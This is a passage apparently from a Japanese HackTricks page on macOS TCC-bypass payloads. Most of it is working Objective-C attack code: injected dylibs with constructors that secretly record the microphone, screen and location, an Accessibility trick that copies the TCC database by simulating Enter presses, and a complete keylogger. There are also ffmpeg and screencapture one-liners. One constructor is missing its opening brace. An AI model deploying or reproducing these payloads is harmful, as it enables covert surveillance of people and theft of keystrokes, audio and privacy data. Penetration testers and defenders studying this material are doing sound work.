|
||||
5秒間のオーディオを録音し、`/tmp/recording.m4a`に保存します。
|
||||
```objectivec
|
||||
#import <Foundation/Foundation.h>
|
||||
#import <AVFoundation/AVFoundation.h>
|
||||
|
||||
// Code from https://www.vicarius.io/vsociety/posts/cve-2023-26818-exploit-macos-tcc-bypass-w-telegram-part-1-2
|
||||
// gcc -dynamiclib -framework Foundation -framework AVFoundation Micexploit.m -o Micexploit.dylib
|
||||
|
||||
@interface AudioRecorder : NSObject <AVCaptureFileOutputRecordingDelegate>
|
||||
|
||||
@property (strong, nonatomic) AVCaptureSession *captureSession;
|
||||
@property (strong, nonatomic) AVCaptureDeviceInput *audioDeviceInput;
|
||||
@property (strong, nonatomic) AVCaptureMovieFileOutput *audioFileOutput;
|
||||
|
||||
- (void)startRecording;
|
||||
- (void)stopRecording;
|
||||
|
||||
@end
|
||||
|
||||
@implementation AudioRecorder
|
||||
|
||||
- (instancetype)init {
|
||||
self = [super init];
|
||||
if (self) {
|
||||
[self setupCaptureSession];
|
||||
}
|
||||
return self;
|
||||
}
|
||||
|
||||
- (void)setupCaptureSession {
|
||||
self.captureSession = [[AVCaptureSession alloc] init];
|
||||
self.captureSession.sessionPreset = AVCaptureSessionPresetHigh;
|
||||
|
||||
AVCaptureDevice *audioDevice = [AVCaptureDevice defaultDeviceWithMediaType:AVMediaTypeAudio];
|
||||
NSError *error;
|
||||
self.audioDeviceInput = [[AVCaptureDeviceInput alloc] initWithDevice:audioDevice error:&error];
|
||||
|
||||
if (error) {
|
||||
NSLog(@"Error setting up audio device input: %@", [error localizedDescription]);
|
||||
return;
|
||||
}
|
||||
|
||||
if ([self.captureSession canAddInput:self.audioDeviceInput]) {
|
||||
[self.captureSession addInput:self.audioDeviceInput];
|
||||
}
|
||||
|
||||
self.audioFileOutput = [[AVCaptureMovieFileOutput alloc] init];
|
||||
|
||||
if ([self.captureSession canAddOutput:self.audioFileOutput]) {
|
||||
[self.captureSession addOutput:self.audioFileOutput];
|
||||
}
|
||||
}
|
||||
|
||||
- (void)startRecording {
|
||||
[self.captureSession startRunning];
|
||||
NSString *outputFilePath = [NSTemporaryDirectory() stringByAppendingPathComponent:@"recording.m4a"];
|
||||
NSURL *outputFileURL = [NSURL fileURLWithPath:outputFilePath];
|
||||
[self.audioFileOutput startRecordingToOutputFileURL:outputFileURL recordingDelegate:self];
|
||||
NSLog(@"Recording started");
|
||||
}
|
||||
|
||||
- (void)stopRecording {
|
||||
[self.audioFileOutput stopRecording];
|
||||
[self.captureSession stopRunning];
|
||||
NSLog(@"Recording stopped");
|
||||
}
|
||||
|
||||
#pragma mark - AVCaptureFileOutputRecordingDelegate
|
||||
|
||||
- (void)captureOutput:(AVCaptureFileOutput *)captureOutput
|
||||
didFinishRecordingToOutputFileAtURL:(NSURL *)outputFileURL
|
||||
fromConnections:(NSArray<AVCaptureConnection *> *)connections
|
||||
error:(NSError *)error {
|
||||
if (error) {
|
||||
NSLog(@"Recording failed: %@", [error localizedDescription]);
|
||||
} else {
|
||||
NSLog(@"Recording finished successfully. Saved to %@", outputFileURL.path);
|
||||
}
|
||||
NSLog(@"Saved to %@", outputFileURL.path);
|
||||
}
|
||||
|
||||
@end
|
||||
|
||||
__attribute__((constructor))
|
||||
static void myconstructor(int argc, const char **argv) {
|
||||
|
||||
freopen("/tmp/logs.txt", "a", stderr);
|
||||
AudioRecorder *audioRecorder = [[AudioRecorder alloc] init];
|
||||
|
||||
[audioRecorder startRecording];
|
||||
[NSThread sleepForTimeInterval:5.0];
|
||||
[audioRecorder stopRecording];
|
||||
|
||||
[[NSRunLoop currentRunLoop] runUntilDate:[NSDate dateWithTimeIntervalSinceNow:1.0]];
|
||||
fclose(stderr); // Close the file stream
|
||||
}
|
||||
```
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="ObjectiveC - Check" %}
|
||||
アプリがマイクへのアクセス権を持っているかどうかを確認します。
|
||||
```objectivec
|
||||
#import <Foundation/Foundation.h>
|
||||
#import <AVFoundation/AVFoundation.h>
|
||||
|
||||
// From https://vsociety.medium.com/cve-2023-26818-macos-tcc-bypass-with-telegram-using-dylib-injection-part1-768b34efd8c4
|
||||
// gcc -framework Foundation -framework AVFoundation -dynamiclib MicTest.m -o MicTest.dylib
|
||||
|
||||
@interface MicrophoneAccessChecker : NSObject
|
||||
+ (BOOL)hasMicrophoneAccess;
|
||||
@end
|
||||
@implementation MicrophoneAccessChecker
|
||||
+ (BOOL)hasMicrophoneAccess {
|
||||
AVAuthorizationStatus status = [AVCaptureDevice authorizationStatusForMediaType:AVMediaTypeAudio];
|
||||
if (status == AVAuthorizationStatusAuthorized) {
|
||||
NSLog(@"[+] Access to microphone granted.");
|
||||
return YES;
|
||||
} else {
|
||||
NSLog(@"[-] Access to microphone denied.");
|
||||
return NO;
|
||||
}
|
||||
}
|
||||
@end
|
||||
__attribute__((constructor))
|
||||
static void telegram(int argc, const char **argv) {
|
||||
[MicrophoneAccessChecker hasMicrophoneAccess];
|
||||
}
|
||||
```
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="Shell" %}
|
||||
5秒間のオーディオを録音し、`/tmp/recording.wav`に保存します
|
||||
```bash
|
||||
# Check the microphones
|
||||
ffmpeg -f avfoundation -list_devices true -i ""
|
||||
# Use microphone from index 1 from the previous list to record
|
||||
ffmpeg -f avfoundation -i ":1" -t 5 /tmp/recording.wav
|
||||
```
|
||||
{% endtab %}
|
||||
{% endtabs %}
|
||||
|
||||
### 位置情報
|
||||
|
||||
{% hint style="success" %}
|
||||
アプリが位置情報を取得するには、**Location Services**(プライバシーとセキュリティから)が**有効になっている必要があります。** そうでなければ、アクセスできません。
|
||||
{% endhint %}
|
||||
|
||||
* **Entitlement**: `com.apple.security.personal-information.location`
|
||||
* **TCC**: `/var/db/locationd/clients.plist` で許可されています。
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="ObjectiveC" %}
|
||||
`/tmp/logs.txt` に位置情報を書き込む
|
||||
```objectivec
|
||||
#include <syslog.h>
|
||||
#include <stdio.h>
|
||||
#import <Foundation/Foundation.h>
|
||||
#import <CoreLocation/CoreLocation.h>
|
||||
|
||||
@interface LocationManagerDelegate : NSObject <CLLocationManagerDelegate>
|
||||
@end
|
||||
|
||||
@implementation LocationManagerDelegate
|
||||
|
||||
- (void)locationManager:(CLLocationManager *)manager didUpdateLocations:(NSArray<CLLocation *> *)locations {
|
||||
CLLocation *location = [locations lastObject];
|
||||
NSLog(@"Current location: %@", location);
|
||||
exit(0); // Exit the program after receiving the first location update
|
||||
}
|
||||
|
||||
- (void)locationManager:(CLLocationManager *)manager didFailWithError:(NSError *)error {
|
||||
NSLog(@"Error getting location: %@", error);
|
||||
exit(1); // Exit the program on error
|
||||
}
|
||||
|
||||
@end
|
||||
|
||||
__attribute__((constructor))
|
||||
void myconstructor(int argc, const char **argv)
|
||||
{
|
||||
freopen("/tmp/logs.txt", "w", stderr); // Redirect stderr to /tmp/logs.txt
|
||||
|
||||
NSLog(@"Getting location");
|
||||
CLLocationManager *locationManager = [[CLLocationManager alloc] init];
|
||||
LocationManagerDelegate *delegate = [[LocationManagerDelegate alloc] init];
|
||||
locationManager.delegate = delegate;
|
||||
|
||||
[locationManager requestWhenInUseAuthorization]; // or use requestAlwaysAuthorization
|
||||
[locationManager startUpdatingLocation];
|
||||
|
||||
NSRunLoop *runLoop = [NSRunLoop currentRunLoop];
|
||||
while (true) {
|
||||
[runLoop runUntilDate:[NSDate dateWithTimeIntervalSinceNow:1.0]];
|
||||
}
|
||||
|
||||
NSLog(@"Location completed successfully.");
|
||||
freopen("/tmp/logs.txt", "w", stderr); // Redirect stderr to /tmp/logs.txt
|
||||
}
|
||||
```
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="Shell" %}
|
||||
ロケーションへのアクセスを取得
|
||||
```
|
||||
???
|
||||
```
|
||||
{% endtab %}
|
||||
{% endtabs %}
|
||||
|
||||
### スクリーンレコーディング
|
||||
|
||||
* **権限**: なし
|
||||
* **TCC**: `kTCCServiceScreenCapture`
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="ObjectiveC" %}
|
||||
メインスクリーンを5秒間`/tmp/screen.mov`に記録する
|
||||
```objectivec
|
||||
#import <Foundation/Foundation.h>
|
||||
#import <AVFoundation/AVFoundation.h>
|
||||
|
||||
// clang -framework Foundation -framework AVFoundation -framework CoreVideo -framework CoreMedia -framework CoreGraphics -o ScreenCapture ScreenCapture.m
|
||||
|
||||
@interface MyRecordingDelegate : NSObject <AVCaptureFileOutputRecordingDelegate>
|
||||
@end
|
||||
|
||||
@implementation MyRecordingDelegate
|
||||
|
||||
- (void)captureOutput:(AVCaptureFileOutput *)output
|
||||
didFinishRecordingToOutputFileAtURL:(NSURL *)outputFileURL
|
||||
fromConnections:(NSArray *)connections
|
||||
error:(NSError *)error {
|
||||
if (error) {
|
||||
NSLog(@"Recording error: %@", error);
|
||||
} else {
|
||||
NSLog(@"Recording finished successfully.");
|
||||
}
|
||||
exit(0);
|
||||
}
|
||||
|
||||
@end
|
||||
|
||||
__attribute__((constructor))
|
||||
void myconstructor(int argc, const char **argv)
|
||||
freopen("/tmp/logs.txt", "w", stderr); // Redirect stderr to /tmp/logs.txt
|
||||
AVCaptureSession *captureSession = [[AVCaptureSession alloc] init];
|
||||
AVCaptureScreenInput *screenInput = [[AVCaptureScreenInput alloc] initWithDisplayID:CGMainDisplayID()];
|
||||
if ([captureSession canAddInput:screenInput]) {
|
||||
[captureSession addInput:screenInput];
|
||||
}
|
||||
|
||||
AVCaptureMovieFileOutput *fileOutput = [[AVCaptureMovieFileOutput alloc] init];
|
||||
if ([captureSession canAddOutput:fileOutput]) {
|
||||
[captureSession addOutput:fileOutput];
|
||||
}
|
||||
|
||||
[captureSession startRunning];
|
||||
|
||||
MyRecordingDelegate *delegate = [[MyRecordingDelegate alloc] init];
|
||||
[fileOutput startRecordingToOutputFileURL:[NSURL fileURLWithPath:@"/tmp/screen.mov"] recordingDelegate:delegate];
|
||||
|
||||
// Run the loop for 5 seconds to capture
|
||||
dispatch_after(dispatch_time(DISPATCH_TIME_NOW, (int64_t)(5 * NSEC_PER_SEC)), dispatch_get_main_queue(), ^{
|
||||
[fileOutput stopRecording];
|
||||
});
|
||||
|
||||
CFRunLoopRun();
|
||||
freopen("/tmp/logs.txt", "w", stderr); // Redirect stderr to /tmp/logs.txt
|
||||
}
|
||||
```
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="Shell" %}
|
||||
メインスクリーンを5秒間録画する
|
||||
{% endtab %}
|
||||
```bash
|
||||
screencapture -V 5 /tmp/screen.mov
|
||||
```
|
||||
{% endtab %}
|
||||
{% endtabs %}
|
||||
|
||||
### アクセシビリティ
|
||||
|
||||
* **エンタイトルメント**: なし
|
||||
* **TCC**: `kTCCServiceAccessibility`
|
||||
|
||||
Finderの制御を受け入れてEnterキーを押すことでTCCをバイパスする
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="TCCを受け入れる" %}
|
||||
```objectivec
|
||||
#import <Foundation/Foundation.h>
|
||||
#import <ApplicationServices/ApplicationServices.h>
|
||||
#import <OSAKit/OSAKit.h>
|
||||
|
||||
// clang -framework Foundation -framework ApplicationServices -framework OSAKit -o ParallelScript ParallelScript.m
|
||||
// TODO: Improve to monitor the foreground app and press enter when TCC appears
|
||||
|
||||
void SimulateKeyPress(CGKeyCode keyCode) {
|
||||
CGEventRef keyDownEvent = CGEventCreateKeyboardEvent(NULL, keyCode, true);
|
||||
CGEventRef keyUpEvent = CGEventCreateKeyboardEvent(NULL, keyCode, false);
|
||||
CGEventPost(kCGHIDEventTap, keyDownEvent);
|
||||
CGEventPost(kCGHIDEventTap, keyUpEvent);
|
||||
if (keyDownEvent) CFRelease(keyDownEvent);
|
||||
if (keyUpEvent) CFRelease(keyUpEvent);
|
||||
}
|
||||
|
||||
void RunAppleScript() {
|
||||
NSLog(@"Starting AppleScript");
|
||||
NSString *scriptSource = @"tell application \"Finder\"\n"
|
||||
"set sourceFile to POSIX file \"/Library/Application Support/com.apple.TCC/TCC.db\" as alias\n"
|
||||
"set targetFolder to POSIX file \"/tmp\" as alias\n"
|
||||
"duplicate file sourceFile to targetFolder with replacing\n"
|
||||
"end tell\n";
|
||||
|
||||
NSDictionary *errorDict = nil;
|
||||
NSAppleScript *appleScript = [[NSAppleScript alloc] initWithSource:scriptSource];
|
||||
[appleScript executeAndReturnError:&errorDict];
|
||||
|
||||
if (errorDict) {
|
||||
NSLog(@"AppleScript Error: %@", errorDict);
|
||||
}
|
||||
}
|
||||
|
||||
int main() {
|
||||
@autoreleasepool {
|
||||
dispatch_async(dispatch_get_global_queue(DISPATCH_QUEUE_PRIORITY_DEFAULT, 0), ^{
|
||||
RunAppleScript();
|
||||
});
|
||||
|
||||
// Simulate pressing the Enter key every 0.1 seconds
|
||||
NSLog(@"Starting key presses");
|
||||
for (int i = 0; i < 10; ++i) {
|
||||
SimulateKeyPress((CGKeyCode)36); // Key code for Enter
|
||||
usleep(100000); // 0.1 seconds
|
||||
}
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="キーロガー" %}
|
||||
押されたキーを **`/tmp/keystrokes.txt`** に保存する
|
||||
```objectivec
|
||||
#import <Foundation/Foundation.h>
|
||||
#import <ApplicationServices/ApplicationServices.h>
|
||||
#import <Carbon/Carbon.h>
|
||||
|
||||
// clang -framework Foundation -framework ApplicationServices -framework Carbon -o KeyboardMonitor KeyboardMonitor.m
|
||||
|
||||
NSString *const kKeystrokesLogPath = @"/tmp/keystrokes.txt";
|
||||
|
||||
void AppendStringToFile(NSString *str, NSString *filePath) {
|
||||
NSFileHandle *fileHandle = [NSFileHandle fileHandleForWritingAtPath:filePath];
|
||||
if (fileHandle) {
|
||||
[fileHandle seekToEndOfFile];
|
||||
[fileHandle writeData:[str dataUsingEncoding:NSUTF8StringEncoding]];
|
||||
[fileHandle closeFile];
|
||||
} else {
|
||||
// If the file does not exist, create it
|
||||
[str writeToFile:filePath atomically:YES encoding:NSUTF8StringEncoding error:nil];
|
||||
}
|
||||
}
|
||||
|
||||
CGEventRef KeyboardEventCallback(CGEventTapProxy proxy, CGEventType type, CGEventRef event, void *refcon) {
|
||||
if (type == kCGEventKeyDown) {
|
||||
CGKeyCode keyCode = (CGKeyCode)CGEventGetIntegerValueField(event, kCGKeyboardEventKeycode);
|
||||
|
||||
NSString *keyString = nil;
|
||||
// First, handle special non-printable keys
|
||||
switch (keyCode) {
|
||||
case kVK_Return: keyString = @"<Return>"; break;
|
||||
case kVK_Tab: keyString = @"<Tab>"; break;
|
||||
case kVK_Space: keyString = @"<Space>"; break;
|
||||
case kVK_Delete: keyString = @"<Delete>"; break;
|
||||
case kVK_Escape: keyString = @"<Escape>"; break;
|
||||
case kVK_Command: keyString = @"<Command>"; break;
|
||||
case kVK_Shift: keyString = @"<Shift>"; break;
|
||||
case kVK_CapsLock: keyString = @"<CapsLock>"; break;
|
||||
case kVK_Option: keyString = @"<Option>"; break;
|
||||
case kVK_Control: keyString = @"<Control>"; break;
|
||||
case kVK_RightControl: keyString = @"<Control>"; break;
|
||||
case kVK_RightShift: keyString = @"<Shift>"; break;
|
||||
case kVK_RightOption: keyString = @"<Option>"; break;
|
||||
case kVK_Function: keyString = @"<Function>"; break;
|
||||
case kVK_F1: keyString = @"<F1>"; break;
|
||||
case kVK_F2: keyString = @"<F2>"; break;
|
||||
case kVK_F3: keyString = @"<F3>"; break;
|
||||
// Add more cases here for other non-printable keys...
|
||||
default: break; // Not a special non-printable key
|
||||
}
|
||||
|
||||
// If it's not a special key, try to translate it
|
||||
if (!keyString) {
|
||||
UniCharCount maxStringLength = 4;
|
||||
UniCharCount actualStringLength = 0;
|
||||
UniChar unicodeString[maxStringLength];
|
||||
|
||||
TISInputSourceRef currentKeyboard = TISCopyCurrentKeyboardInputSource();
|
||||
CFDataRef layoutData = TISGetInputSourceProperty(currentKeyboard, kTISPropertyUnicodeKeyLayoutData);
|
||||
const UCKeyboardLayout *keyboardLayout = (const UCKeyboardLayout *)CFDataGetBytePtr(layoutData);
|
||||
|
||||
UInt32 deadKeyState = 0;
|
||||
OSStatus status = UCKeyTranslate(keyboardLayout,
|
||||
keyCode,
|
||||
kUCKeyActionDown,
|
||||
0,
|
||||
LMGetKbdType(),
|
||||
kUCKeyTranslateNoDeadKeysBit,
|
||||
&deadKeyState,
|
||||
maxStringLength,
|
||||
&actualStringLength,
|
||||
unicodeString);
|
||||
CFRelease(currentKeyboard);
|
||||
|
||||
if (status == noErr && actualStringLength > 0) {
|
||||
keyString = [NSString stringWithCharacters:unicodeString length:actualStringLength];
|
||||
} else {
|
||||
keyString = [NSString stringWithFormat:@"<KeyCode: %d>", keyCode];
|
||||
}
|
||||
}
|
||||
|
||||
NSString *logString = [NSString stringWithFormat:@"%@\n", keyString];
|
||||
AppendStringToFile(logString, kKeystrokesLogPath);
|
||||
}
|
||||
return event;
|
||||
}
|
||||
|
||||
int main() {
|
||||
@autoreleasepool {
|
||||
CGEventMask eventMask = CGEventMaskBit(kCGEventKeyDown);
|
||||
CFMachPortRef eventTap = CGEventTapCreate(kCGSessionEventTap, kCGHeadInsertEventTap, 0, eventMask, KeyboardEventCallback, NULL);
|
||||
|
||||
if (!eventTap) {
|
||||
NSLog(@"Failed to create event tap");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
CFRunLoopSourceRef runLoopSource = CFMachPortCreateRunLoopSource(kCFAllocatorDefault, eventTap, 0);
|
||||
CFRunLoopAddSource(CFRunLoopGetCurrent(), runLoopSource, kCFRunLoopCommonModes);
|
||||
CGEventTapEnable(eventTap, true);
|
||||
CFRunLoopRun();
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
{% endtab %}
|
||||
{% endtabs %}
|
||||
|
||||
{% hint style="danger" %}
|
||||
**アクセシビリティは非常に強力な権限です**。例えば、System Eventsを呼び出すことなく、**キーストローク攻撃**を実行するなど、他の方法で悪用することができます。
|
||||
{% endhint %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* **サイバーセキュリティ会社**で働いていますか?**HackTricksで会社の広告を掲載**したいですか?または、**最新版のPEASSを入手**したり、**HackTricksをPDFでダウンロード**したいですか?[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、私たちの独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションをご覧ください。
|
||||
* [**公式のPEASS & HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**テレグラムグループ**](https://t.me/peass)に**参加するか**、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
|
||||
* **ハッキングのコツを共有するために、**[**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks)と[**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。**
|
||||
|
||||
</details>
|